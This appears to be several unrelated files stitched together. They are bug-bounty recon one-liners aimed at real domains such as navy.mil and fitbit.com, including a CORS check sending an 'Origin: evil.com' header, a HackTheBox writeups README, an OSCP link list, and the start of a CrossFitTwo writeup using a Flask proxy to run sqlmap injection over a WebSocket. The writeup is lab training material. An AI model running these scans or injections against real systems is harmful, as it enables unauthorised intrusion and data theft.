assetfinder and rush - [Explained command](https://bit.ly/33qT71x) ```bash assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin:evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] - {}\e[m"' 2>/dev/null" ``` ### Search to js using hakrawler and rush & unew - [Explained command](https://bit.ly/2Rqn9gn) ```bash cat hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx' ``` ### XARGS to dirsearch brute force. - [Explained command](https://bit.ly/32MZfCa) ```bash cat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js' ``` ### Assetfinder to run massdns. - [Explained command](https://bit.ly/32T5W5O) ```bash assetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\..$//' | httpx -silent ``` ### Extract path to js - [Explained command](https://bit.ly/3icrr5R) ```bash cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u ``` ### Find subdomains and Secrets with jsubfinder - [Explained command](https://bit.ly/3dvP6xq) ```bash cat subdomsains.txt | httpx --silent | jsubfinder -s ``` ### Search domains to Range-IPS. - [Explained command](https://bit.ly/3fa0eAO) ```bash cat dod1 | awk '{print $1}' | xargs -I@ sh -c 'prips @ | hakrevdns -r 1.1.1.1' | awk '{print $2}' | sed -r 's/.$//g' | httpx -silent -timeout 25 | anew ``` ### Search new's domains using dnsgen. - [Explained command](https://bit.ly/3kNTHNm) ```bash xargs -a army1 -I@ sh -c 'echo @' | dnsgen - | httpx -silent -threads 10000 | anew newdomain ``` ### List ips, domain extract, using amass + wordlist - [Explained command](https://bit.ly/2JpRsmS) ```bash amass enum -src -ip -active -brute -d navy.mil -o domain ; cat domain | cut -d']' -f 2 | awk '{print $1}' | sort -u > hosts-amass.txt ; cat domain | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > ips-amass.txt ; curl -s "https://crt.sh/?q=%.navy.mil&output=json" | jq '.[].name_value' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u > hosts-crtsh.txt ; sed 's/$/.navy.mil/' dns-Jhaddix.txt_cleaned > hosts-wordlist.txt ; cat hosts-amass.txt hosts-crtsh.txt hosts-wordlist.txt | sort -u > hosts-all.txt ``` ### Search domains using amass and search vul to nuclei. - [Explained command](https://bit.ly/3gsbzNt) ```bash amass enum -passive -norecursive -d disa.mil -o domain ; httpx -l domain -silent -threads 10 | nuclei -t PATH -o result -timeout 30 ``` ### Verify to cert using openssl. - [Explained command](https://bit.ly/37avq0C) ```bash sed -ne 's/^\( *\)Subject:/\1/p;/X509v3 Subject Alternative Name/{ N;s/^.*\n//;:a;s/^\( *\)\(.*\), /\1\2\n\1/;ta;p;q; }' < <( openssl x509 -noout -text -in <( openssl s_client -ign_eof 2>/dev/null <<<$'HEAD / HTTP/1.0\r\n\r' \ -connect hackerone.com:443 ) ) ``` ### Search domains using openssl to cert. - [Explained command](https://bit.ly/3m9AsOY) ```bash xargs -a recursivedomain -P50 -I@ sh -c 'openssl s_client -connect @:443 2>&1 '| sed -E -e 's/[[:blank:]]+/\n/g' | httpx -silent -threads 1000 | anew ``` ### Search to Hackers. - [Censys](https://censys.io) - [Spyce](https://spyce.com) - [Shodan](https://shodan.io) - [Viz Grey](https://viz.greynoise.io) - [Zoomeye](https://zoomeye.org) - [Onyphe](https://onyphe.io) - [Wigle](https://wigle.net) - [Intelx](https://intelx.io) - [Fofa](https://fofa.so) - [Hunter](https://hunter.io) - [Zorexeye](https://zorexeye.com) - [Pulsedive](https://pulsedive.com) - [Netograph](https://netograph.io) - [Vigilante](https://vigilante.pw) - [Pipl](https://pipl.com) - [Abuse](https://abuse.ch) - [Cert-sh](https://cert.sh) - [Maltiverse](https://maltiverse.com/search) - [Insecam](https://insecam.org) - [Anubis](https://https://jldc.me/anubis/subdomains/att.com) - [Dns Dumpster](https://dnsdumpster.com) - [PhoneBook](https://phonebook.cz) - [Inquest](https://labs.inquest.net) - [Scylla](https://scylla.sh) # Project [![made-with-Go](https://img.shields.io/badge/Made%20with-Go-1f425f.svg)](http://golang.org) [![made-with-bash](https://img.shields.io/badge/Made%20with-Bash-1f425f.svg)](https://www.gnu.org/software/bash/) [![Open Source? Yes!](https://badgen.net/badge/Open%20Source%20%3F/Yes%21/blue?icon=github)](https://github.com/Naereen/badges/) [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/KingOfTipsBugBounty) <a href="https://www.buymeacoffee.com/OFJAAAH" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 20px !important;width: 50px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;" ></a>
[![N|Solid](https://insec.in/wp-content/uploads/2020/07/hackthebox.png)](https://nodesource.com/products/nsolid) # HackTheBox Writeups : --- + Writeups built by me which can give you the initial idea of how i successfully owned both user and root of some boxes that i tried to exploit. I do try to put the instructions as detailed and as step-by-step as possible, if there is any confusion, issue it as will. + Before reading, i assume you have already known what is HackTheBox and how to run its openvpn pack in order to connect to the targets and exploit them. if not then here... > Hack The Box is an online platform allowing you to test your penetration testing skills andexchange ideas and methodologies with thousands of people in the security field. Click below to hack our invite challenge, then get started on one of our many live machines or challenges. In order to join it, create an account and join at https://www.hackthebox.eu/login, the login part could be tricky since it will ask you to "hack" your way in, find the invitation code in order to proceed any further, once succeeded, choose a server at the "Access" tab, download the opvnpn pack, run it and you will establish yourself a connection to those boxes, after that, have fun hacking. - Running the openvpn pack : ```sh $ cd Downloads # Changing to the directory where the pack is located $ sudo openvpn hacktheboxpack.ovpn ``` - then you will have access to all available boxes which you can check here --> https://app.hackthebox.eu/machines <p align="center"><img src="https://github.com/Zenix-Owler/HTB-Writeup/blob/master/ping?raw=true"></p> - If you still have any problem trying to setup your hackthebox account or its infrastructure, join HackTheBox's discord here https://discord.com/invite/hRXnCFA for more help. ### Structure of my Writeups : --- - ##### Requirements + Basic knowledge of some kind that you should know first before proceeding. - ##### Enumeration + Footprinting the target. - ##### Privilege Escalation + Escalate our current privilege to obtain the user.txt flag. - ##### Full Control + Rooting the server and obtain the root.txt flag. ### Logs : --- Logs of each time i commit a new writeup. Its metadata and the commitment date. | Writeup | OS | BoxAuthor| Level | Commit-Date | | ------ | ------ | ------ | ------ | ------ | |Obscurity|Linux|clubby789|Medium|25/9/2020 | |Buff|Windows|egotisticalSW|Easy|26/9/2020 | ### Credits : --- - I do detail the information of each box per writeup : OS, Level, BoxAuthor, ... - `Writeups by me : ZenixOwler. ` ### License : --- MIT --- **Writeups... Hoo**
# OSCP Survival Guide by Joas ## Survival Guide ### https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md ### https://github.com/RustyShackleford221/OSCP-Prep ### https://github.com/strongcourage/oscp ### https://github.com/six2dez/OSCP-Human-Guide ### https://sushant747.gitbooks.io/total-oscp-guide ### https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/ ### https://ltsirkov.medium.com/oscp-preparation-2021-learning-path-41a88eb1a4b ### https://infosecwriteups.com/how-i-passed-oscp-with-100-points-in-12-hours-without-metasploit-in-my-first-attempt-dc8d03366f33 ### https://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/ ### https://www.cbtnuggets.com/blog/certifications/security/how-i-passed-the-oscp-on-the-first-try ## Courses Prep ### http://gohacking.com.br/ ### https://acaditi.com.br/ ### http://sec4us.com.br/ ### https://tcm-sec.com/ ### https://www.pentesteracademy.com/ ### https://www.udemy.com/course/advance-your-ethical-hacking-skills/ ### https://www.udemy.com/course/oscp-prep-practical-hands-on-offensivept-penetration-testing/ ### https://www.udemy.com/course/linux-privilege-escalation-oscp-training/ ### https://www.udemy.com/course/windows-privilege-escalation/ ### https://www.udemy.com/course/linux-privilege-escalation-for-beginners/ ### https://www.udemy.com/course/windows-privilege-escalation/ ### https://www.udemy.com/course/windows-privilege-escalation-for-beginners/ ### http://hackersec.com.br/ ### https://esecurity.com.br/ ### https://ine.com/ ### https://app.pluralsight.com/paths?tab=certifications ### https://codered.eccouncil.org/ ## Mindmaps ### https://www.linkedin.com/feed/update/urn:li:activity:6754329534872522753/ ### https://github.com/umuttosun/OSCP-MindMap ### https://firebitsbr.wordpress.com/2015/04/04/mind-map-penetration-testing-with-kali-linux-pwk-2015-unofficial/ ### https://rafalharazinski.gitbook.io/security/penetration-testing-with-kali ### https://githubmemory.com/repo/corneacristian/OSCP-MindMap ### https://medium.com/@peregerinebunny/my-oscp-journey-d3addc26f07b ### https://emaragkos.gr/oscp/useful-oscp-mindmaps/ ## My Materials ### https://www.linkedin.com/in/joas-antonio-dos-santos ### https://drive.google.com/drive/u/0/folders/12Mvq6kE2HJDwN2CZhEGWizyWt87YunkU ### https://twitter.com/C0d3Cr4zy ### https://github.com/CyberSecurityUP ### https://www.youtube.com/channel/UCFvueUEWRfQ9qT9UmHCw_og ## Labs ### https://github.com/rkhal101/Hack-the-Box-OSCP-Preparation ### First mockup: - Brainpan VulnHub - Kioptrix2014 VulnHub - Lordoftheroot VulnHub - Pwnlab_init VulnHub - VulnOsv2 VulnHub ### Second mockup - Bastard HTB - Blue HTB - Conceal HTB - Devel HTB - Metasploitable3_windows GitHub - Silo HTB ### Third mockup - LazySysadmin VulnHub - Metasploitable3_ubuntu GitHub - MrRobot VulnHub - Pinky's Palace v1 VulnHub - Own crafted Windows XP machine with SLMail, Minishare, DoStackOverflowGood, VulnServer and WarFTPD. ### Fourth mockup - Active HTB - Bounty HTB - Brainpan VulnHub - Cronos HTB - DevOops HTB ### https://www.mindmeister.com/pt/1781013629/the-best-labs-and-ctf-red-team-and-pentest ## Repositories ### https://github.com/0x4D31/awesome-oscp ### https://github.com/RustyShackleford221/OSCP-Prep ### https://github.com/cpardue/OSCP-PWK-Notes-Public ### https://github.com/gh0x0st/OSCP-A-Step-Forward ### https://github.com/noraj/OSCP-Exam-Report-Template-Markdown ### https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md ### https://github.com/omurugur/OSCP ### https://gist.github.com/natesubra/5117959c660296e12d3ac5df491da395 ### https://github.com/0x4D31/awesome-oscp ### https://github.com/whoisflynn/OSCP-Exam-Report-Template ### https://github.com/strongcourage/oscp ### https://github.com/CyDefUnicorn/OSCP-Archives ### https://github.com/DriftSec/AutoRecon-OSCP ### https://gist.github.com/unfo/5ddc85671dcf39f877aaf5dce105fac3 ### https://github.com/six2dez/OSCP-Human-Guide ### https://github.com/tagnullde/OSCP ### https://github.com/superhero1/OSCP-Prep ### https://github.com/The-Lynx-Team/OSCP ### https://github.com/chvancooten/OSCP-MarkdownReportingTemplates ### https://github.com/ssstonebraker/oscp-scripts ### https://github.com/CaptBoykin/oscp ### https://github.com/burntmybagel/OSCP-Prep ### https://github.com/alexiasa/oscp-omnibus ### https://github.com/JoaoPauloF/OSCP ### https://steflan-security.com/my-oscp-journey/ ### https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/ ### https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html ### https://cybersecurity.att.com/blogs/security-essentials/how-to-prepare-to-take-the-oscp ### https://medium.com/@shubhamkhichi5/how-to-practice-and-pass-oscp-from-scratch-a06ef4b5d28a ### https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/my-oscp-journey-a-review ## Cheatsheets and Scripts ### Luke's Practical hacking tips and tricks ### Penetration Testing Tools Cheat Sheet ### How to Pass OSCP ### Reverse Shell Cheat Sheet ### 7 Linux Shells Using Built-in Tools ### Windows Exploit Suggester ### Linux Exploit Suggester ### OSCPRepo ### Go-for-OSCP ### Pentest Compilation ### Collection of OSCP scripts ### https://github.com/akenofu/OSCP-Cheat-Sheet ### https://ceso.github.io/posts/2020/04/hacking/oscp-cheatsheet/ ### https://medium.com/oscp-cheatsheet/oscp-cheatsheet-6c80b9fa8d7e ### https://blog.thehackingnomad.com/ ### https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets ### https://hackersinterview.com/oscp/reverse-shell-one-liners-oscp-cheatsheet/ ### https://www.noobsec.net/oscp-cheatsheet/ ### https://casvancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/ ### https://medium.com/oscp-cheatsheet/oscp-cheatsheet-6c80b9fa8d7e ## Buffer Overflow ### https://github.com/V1n1v131r4/OSCP-Buffer-Overflow ### https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst ### https://sec4us.com.br/cheatsheet/bufferoverflow-seh ### https://www.reddit.com/r/oscp/comments/jp2pjr/oscp_cheatsheet_oscp_bufferoverflow_cheatsheet/ ### https://assume-breach.medium.com/oscp-prep-buffer-overflows-made-super-easy-with-the-brainpan-1-vm-e5ccaf7d3f0c ### https://www.youtube.com/watch?v=_EYoYiSInSA ### https://www.youtube.com/watch?v=yAsO25Fezdk ### https://www.youtube.com/watch?v=4rUN1F6_Mhk ### https://www.youtube.com/watch?v=VX27nq6EcjI ### https://www.udemy.com/course/practical-buffer-overflows-for-oscp/ ### https://steflan-security.com/complete-guide-to-stack-buffer-overflow-oscp/ ### https://thelistsec.com/2020/06/23/oscp-like-buffer-overflow-walkthrough/ ### https://defarbs.com/oscp-review/ ### https://tryhackme.com/room/bufferoverflowprep ### https://strongcourage.github.io/2020/04/19/bof.html ### https://infosecwriteups.com/tryhackme-oscp-buffer-overflow-prep-overflow-3-fdece5d96532 ### https://oscp.infosecsanyam.in/buffer-overflow/buffer-overflow-step-by-step ### https://cd6629.gitbook.io/ctfwriteups/buffer-overflow-wlk ### https://github.com/gh0x0st/Buffer_Overflow ### https://github.com/johnjhacking/Buffer-Overflow-Guide ### https://github.com/joshua17sc/Buffer-Overflows ### https://github.com/justinsteven/dostackbufferoverflowgood ### https://github.com/the-c0d3r/buffer-overflow ### https://github.com/CyberSecurityUP/Buffer-Overflow-Labs ### https://betterprogramming.pub/an-introduction-to-buffer-overflow-vulnerability-760f23c21ebb ### https://medium.com/@n0auth/buffer-overflows-0x01-67664959a256 ### https://d0nut.medium.com/week-13-introduction-to-buffer-overflows-5f15c0d5b5c1 ### https://blog.devgenius.io/buffer-overflow-tutorial-part1-efc6b9f3e4ee ### https://infosecwriteups.com/stack-based-buffer-overflow-practical-for-windows-vulnserver-8d2be7321af5 ### https://blog.usejournal.com/binary-exploitation-buffer-overflows-a9dc63e8b546 ### https://www.youtube.com/watch?v=59_gjX2HxyA&t=1s ### https://www.youtube.com/watch?v=wLi-dGphpdg ### https://www.youtube.com/watch?v=yJF0YPd8lDw ### https://www.youtube.com/watch?v=oS2O75H57qU&t=2s ## OSCP Journey ### https://ranakhalil101.medium.com/my-oscp-journey-a-review-fa779b4339d9 ### https://medium.com/@akashgupta1496/my-oscp-journey-june-2020-d4512155d289 ### https://diesec.home.blog/2020/10/11/oscp-journey/ ### https://www.noobsec.net/oscp-journey/ ### https://alex-labs.com/my-oscp-journey/ ### https://github.com/strongcourage/oscp ### https://www.linkedin.com/pulse/concluding-my-oscp-journey-dennis-perto/?trk=read_related_article-card_title ### https://scriptkidd1e.wordpress.com/oscp-journey/ ### https://www.tripwire.com/state-of-security/security-awareness/oscp-journey/ ### https://esseum.com/the-oscp-journey-my-personal-experience-of-passing-the-exam/ ### https://pt.slideshare.net/VandanaVerma24/oscp-journey ### https://bohansec.com/2020/08/08/My-Journey-to-OSCP/ ### https://omarm.ca/blog/my-oscp-journey ### http://www.minuszeros.com/my-oscp-journey/ ### https://bksecurity.org/my-oscp-journey/ ### https://www.youtube.com/watch?v=7Sbx1QPy1mw ### https://www.youtube.com/watch?v=y8nqTtQawAk ### https://www.youtube.com/watch?v=DMwkLGbB_ac ### https://www.youtube.com/watch?v=L6vMBEla2Uk&t=98s ### https://www.offensive-security.com/offsec/my-philosophical-approach-to-oscp/ ### https://sock-raw.org/blog/oscp-review/ ### https://royaljay.com/security/how-i-became-an-offensive-security-certified-professional/ ### https://www.helviojunior.com.br/it/security/minha-experiencia-no-oscp/ ## Playlist ### https://www.youtube.com/watch?v=5NvBujK_0dQ&list=PL0-qC9zS1xpmd5sANeqFhou7UrrZJknJB ### https://www.youtube.com/watch?v=exnd5kXh_FM&list=PLZ59RPGKmV91BQH5bTXOG-0IkuXvvD1CM ### https://www.youtube.com/watch?v=Klmy6xeKW7o ### https://www.youtube.com/watch?v=GbppskJ5FU4&list=PLqSNTTjCEmZG50-vtmdAHWGFbDLUMhPeN ### https://www.youtube.com/watch?v=pwUZCiVB4Pk ### https://www.youtube.com/watch?v=2DqdPcbYcy8&list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf ### https://www.youtube.com/watch?v=Nh8doFZcBJI&list=PLwDy-UjR-HbvP4l7IVr2B9UcKxQI6VB3b *XMind - Evaluation Version*
# CrossFitTwo - HackTheBox - Writeup OpenBSD, 50 Base Points, Insane ## Machine ![‏‏CrossFitTwo.JPG](images/CrossFitTwo.JPG) ## TL;DR To solve this machine, we begin by enumerating open services using ```namp``` – finding ports ```80```, ```22``` and ```8953``` (Unbound DNS Server). ***<ins>User 1<ins>***: By enumerating port 80 we found javascript file called ```ws.min.js``` which contains code that communicates with WebSocket that located on [http://gym.crossfit.htb/ws](http://gym.crossfit.htb/ws), Next, We found that ```params``` key on that WebSocket message vulnerable to [SQL Injection](https://portswigger.net/web-security/sql-injection), Using ```sqlmap``` & ```flask``` web server we dump users from DB, Next, We saw that we have ```FILE``` permission on DB which allowed us to read files from the server, using that, we read the file ```/etc/relayd.conf``` which tell us about new domain [crossfit-club.htb](http://crossfit-club.htb) and grabbing unbound secret keys, configuration files which will let us create DNS Entries on the box, using those configuration files we make [DNS rebinding attack](https://www.youtube.com/watch?v=y9-0lICNjOQ) by adding subdomain with ```TTL=2``` using [unbound-control](https://manpages.ubuntu.com/manpages/xenial/man8/unbound-control.8.html), Next we make [CSRF attack](https://portswigger.net/web-security/csrf) (using DNS rebinding attack) to communicate with another WebSocket (that located on [crossfit-club.htb](http://crossfit-club.htb)) which contains chat between users, By reading the messages between the users using CSRF attack we found the password of username ```David```. ***<ins>User 2<ins>***: By running ```find``` to show files owned by our group (```sysadmins```) we found ```/opt/sysadmin``` directory that contains ```statbot.js``` file, According [Loading from node_modules folders](https://nodejs.org/api/modules.html#modules_loading_from_node_modules_folders) logic we can use library injection vulnerability to create file ```index.js``` on ```/opt/sysadmin/node_modules``` directory with ```NodeJS``` reverse shell, Like that we got the user ```john```. ***<ins>Root<ins>***: By running again ```find``` to show files owned by a group (```staff```) we found file ```/usr/local/bin/log```, By reversing this file using [Ghidra](https://ghidra-sre.org/) / [cutter](https://cutter.re/) / [IDA](https://hex-rays.com/ida-free/) we see system call [unveil](https://man.openbsd.org/unveil.2) which can set permissions at other points in the filesystem hierarchy, This function called as ```unevil("/var","r")``` meaning that we have read permission to all files on ```/var``` using ```/usr/local/bin/log``` binary, Using that we reading ```/etc/changelist``` and find that ```/root/.ssh/authorized_keys``` file backed up to ```/var/backups```, Using the root SSH private key - SSH is still asking for a password, By reading ```/etc/login.conf``` we found that the system has 2FA using [yubikey OpenBSD](https://www.straybits.org/post/2014/openbsd-yubikey/), Reading ```yubikey``` relevant files on ```/var/db/yubikey``` (using ```/usr/local/bin/log``` binary) allowed us to generate the new token which uses as password of root SSH. ## CrossFitTwo Solution ![pwn.JPG](images/pwn.JPG) ### User 1 Let's start with ```nmap``` scanning: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ nmap -p- -sC -sV -oA nmap/CrossFitTwo 10.10.10.232 Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-08 16:16 IDT WARNING: Service 10.10.10.232:80 had already soft-matched http, but now soft-matched rtsp; ignoring second value WARNING: Service 10.10.10.232:80 had already soft-matched http, but now soft-matched rtsp; ignoring second value Nmap scan report for 10.10.10.232 Host is up (0.082s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4 (protocol 2.0) 80/tcp open http (PHP 7.4.12) | fingerprint-strings: | GetRequest: | HTTP/1.0 200 OK | Connection: close | Connection: close | Content-type: text/html; charset=UTF-8 | Date: Sun, 08 Aug 2021 13:21:08 GMT | Server: OpenBSD httpd | X-Powered-By: PHP/7.4.12 | <!DOCTYPE html> | <html lang="zxx"> | <head> | <meta charset="UTF-8"> | <meta name="description" content="Yoga StudioCrossFit"> | <meta name="keywords" content="Yoga, unica, creative, html"> | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | <meta http-equiv="X-UA-Compatible" content="ie=edge"> | <title>CrossFit</title> | <!-- Google Font --> | <link href="https://fonts.googleapis.com/css?family=PT+Sans:400,700&display=swap" rel="stylesheet"> | <link href="https://fonts.googleapis.com/css?family=Oswald:400,500,600,700&display=swap" rel="stylesheet"> | <!-- Css Styles --> | <link rel="stylesheet" href="css/bootstrap.min.css" type="text/css"> | <link rel="styleshe | HTTPOptions: | HTTP/1.0 200 OK | Connection: close | Connection: close | Content-type: text/html; charset=UTF-8 | Date: Sun, 08 Aug 2021 13:21:09 GMT | Server: OpenBSD httpd | X-Powered-By: PHP/7.4.12 | <!DOCTYPE html> | <html lang="zxx"> | <head> | <meta charset="UTF-8"> | <meta name="description" content="Yoga StudioCrossFit"> | <meta name="keywords" content="Yoga, unica, creative, html"> | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | <meta http-equiv="X-UA-Compatible" content="ie=edge"> | <title>CrossFit</title> | <!-- Google Font --> | <link href="https://fonts.googleapis.com/css?family=PT+Sans:400,700&display=swap" rel="stylesheet"> | <link href="https://fonts.googleapis.com/css?family=Oswald:400,500,600,700&display=swap" rel="stylesheet"> | <!-- Css Styles --> | <link rel="stylesheet" href="css/bootstrap.min.css" type="text/css"> |_ <link rel="styleshe |_http-server-header: OpenBSD httpd |_http-title: CrossFit 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service 8953/tcp open ssl/ub-dns-control? | ssl-cert: Subject: commonName=unbound | Not valid before: 2021-01-11T07:01:10 |_Not valid after: 2040-09-28T07:01:10 ``` UDP port scan: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ nmap -sU 10.10.10.232 Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-09 03:41 IDT Nmap scan report for crossfit.htb (10.10.10.232) Host is up (0.091s latency). Not shown: 999 closed ports PORT STATE SERVICE 4500/udp open|filtered nat-t-ike ``` By observing port 80 [http://10.10.10.232/](http://10.10.10.232/): ![port80.JPG](images/port80.JPG) We can see on that page domain ```crossfit.htb```, And by clicking on "Member Area" (Top left) we got the following domain ```employees.crossfit.htb```, Let's add those domains to ```/etc/hosts```. By browsing to [http://employees.crossfit.htb/](http://employees.crossfit.htb/) we got the following login page: ![login.JPG](images/login.JPG) By looking on site-map we found the following javascript file [http://10.10.10.232/js/ws.min.js](http://10.10.10.232/js/ws.min.js) ([ws.min.js](scripts/ws.min.js)): ```js function updateScroll() { var e = document.getElementById("chats"); e.scrollTop = e.scrollHeight } var token, ws = new WebSocket("ws://gym.crossfit.htb/ws/"), pingTimeout = setTimeout(() => { ws.close(), $(".chat-main").remove() }, 31e3); function check_availability(e) { var s = new Object; s.message = "available", s.params = String(e), s.token = token, ws.send(JSON.stringify(s)) } $(".chat-content").slideUp(), $(".hide-chat-box").click(function() { $(".chat-content").slideUp() }), $(".show-chat-box").click(function() { $(".chat-content").slideDown(), updateScroll() }), $(".close-chat-box").click(function() { $(".chat-main").remove() }), ws.onopen = function() {}, ws.onmessage = function(e) { "ping" === e.data ? (ws.send("pong"), clearTimeout(pingTimeout)) : (response = JSON.parse(e.data), answer = response.message, answer.startsWith("Hello!") && $("#ws").show(), token = response.token, $("#chat-messages").append('<li class="receive-msg float-left mb-2"><div class="receive-msg-desc float-left ml-2"><p class="msg_display bg-white m-0 pt-1 pb-1 pl-2 pr-2 rounded">' + answer + "</p></div></li>"), updateScroll()) }, $("#sendmsg").on("keypress", function(e) { if (13 === e.which) { $(this).attr("disabled", "disabled"); var s = $("#sendmsg").val(); if ("" !== s) { $("#chat-messages").append('<li class="send-msg float-right mb-2"><p class="msg_display pt-1 pb-1 pl-2 pr-2 m-0 rounded">' + s + "</p></li>"); var t = new Object; t.message = s, t.token = token, ws.send(JSON.stringify(t)), $("#sendmsg").val(""), $(this).removeAttr("disabled"), updateScroll() } } }); ``` We can see communicate with ```gym.crossfit.htb``` WebSocket. Let's use [BurpSuite Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater/using) to communicate with this WebSocket: ![ws_hello.JPG](images/ws_hello.JPG) As we can see the response message is: ```json {"status":"200","message":"Hello! This is Arnold, your assistant. Type 'help' to see available commands.","token":"3040595dac6ba07a4216eb5f13886a7fa20d11e69bd006dd9352fb36fd9ccc64"} ``` Let's send the message ```help``` by the following json: ```json {"message":"help","token":"3040595dac6ba07a4216eb5f13886a7fa20d11e69bd006dd9352fb36fd9ccc64"} ``` And we got as response: ```json {"status":"200","message":"Available commands:<br>- coaches<br>- classes<br>- memberships","token":"cfac77dedce5c90db70793d8712b13fe92fab395c7c6c17378b97f33618bf22e"} ``` Let's try all of them, First ```coaches```: ```json {"message":"coaches","token":"cfac77dedce5c90db70793d8712b13fe92fab395c7c6c17378b97f33618bf22e"} ``` Response: ```json {"status":"200","message":"Meet our amazing coaches!<br><br><img height=40 src='/img/team/member-1.jpg' class='thumbnail'></img> Will Smith<br><code>2017 World CrossFit Champion</code><br><br><img height=40 src='/img/team/member-2.jpg' class='thumbnail'></img> Maria Williams<br><code>2018 Fitness Guru of the year</code><br><br><img height=40 src='/img/team/member-3.jpg' class='thumbnail'></img> Jack Parker<br><code>2019 IronMan Champion</code><br><br>","token":"f7936c5485980c0a9ac0f29e7929f6e3c602e867de394b51a05b2a8e2f282a0a"} ``` Next, ```classes```: ```json {"message":"classes","token":"f7936c5485980c0a9ac0f29e7929f6e3c602e867de394b51a05b2a8e2f282a0a"} ``` Response: ```json {"status":"200","message":"Come see us and try one of our available classes for free! Our selection of amazing activities includes:<br><br>- CrossFit (Level 1 and 2)<br>- Fitness (Body and Mind)<br>- Climbing (Bouldering and Free)<br>- Cardio (Marathon training)<br>- Stretching (Isometric)<br>- Weight Lifting (Body Building, Power Lifting)<br>- Yoga (Power, Hatha, Kundalini)<br>- Nutrition (Customized meal plans)<br>- TRX (Suspension training)<br>","token":"1faac4694288ba360e8ea02e73a8e445fde0c338a99c059113f82df6bc181b1f"} ``` And last one ```memberships```: ```json {"message":"memberships","token":"1faac4694288ba360e8ea02e73a8e445fde0c338a99c059113f82df6bc181b1f"} ``` Response: ```json {"status":"200","message":"Check the availability of our membership plans with a simple click!<br><br><b>1-month ($99.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(1)>Availability</button><br><br><b>3-months ($129.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(2)>Availability</button><br><br><b>6-months ($189.99 <del>$209.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(3)>Availability</button><br><br><b>1-year ($859.99 <del>$899.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(4)>Availability</button><br><br>","token":"48abc1184bfe88bc2e3e9cf3e4f8476ea45aaa895edd4b59e4660591577f69ed"} ``` By looking on the javascript above ([ws.min.js](scripts/ws.min.js)) we can see the following fucntion: ```javascript function check_availability(e) { var s = new Object; s.message = "available", s.params = String(e), s.token = token, ws.send(JSON.stringify(s)) } ``` Meaning that we have another key called ```params``` where ```message``` equals to ```available```, Let's try it: ```json {"message":"available","params":"1","token":"a68b0fc001510f6f662e7616802ebf6ac79463cad769fc6119d71758d30c0029"} ``` And the response is: ```json {"status":"200","message":"Good news! This membership plan is available.","token":"f9f91016061754507be86c518dbe9c0973201e7219169cbfa370dc32b1e7f3ea","debug":"[id: 1, name: 1-month]"} ``` Let's try SQL Injection against ```params``` key using ```sqlmap```, To do that, We can run [Flask](https://flask.palletsprojects.com/en/2.0.x/) web server which received ```sqlmap``` payload and send it using the WebSocket ([inject_server.py](scripts/inject_server.py)): ```python from flask import Flask from flask import request import json from websocket import create_connection app = Flask(__name__) @app.route('/inject') def index(): ws = create_connection("ws://gym.crossfit.htb/ws") result = ws.recv() token=json.loads(result)['token'] param=request.args.get('param') current_json=json.loads('{"message":"available","params":"1","token":"be8fa1cae3cd4a2b5c9ed815d4b151392e23fadc9ea1c9a44cf5534a7f582415"}') current_json['params']=param current_json['token']=token ws.send(json.dumps(current_json)) result = json.loads(ws.recv()) print (result['debug']) token=result['token'] return result if __name__ == '__main__': app.run(debug=True, host='0.0.0.0') ``` Run it: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ python3 inject_server.py * Serving Flask app "server" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: on * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit) ``` And by running ```sqlmap``` we get: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ sqlmap -u http://localhost:5000/inject?param=1 --dump-all ... Database: information_schema Table: ALL_PLUGINS [106 entries] +-------------------------------+ | PLUGIN_NAME | +-------------------------------+ | 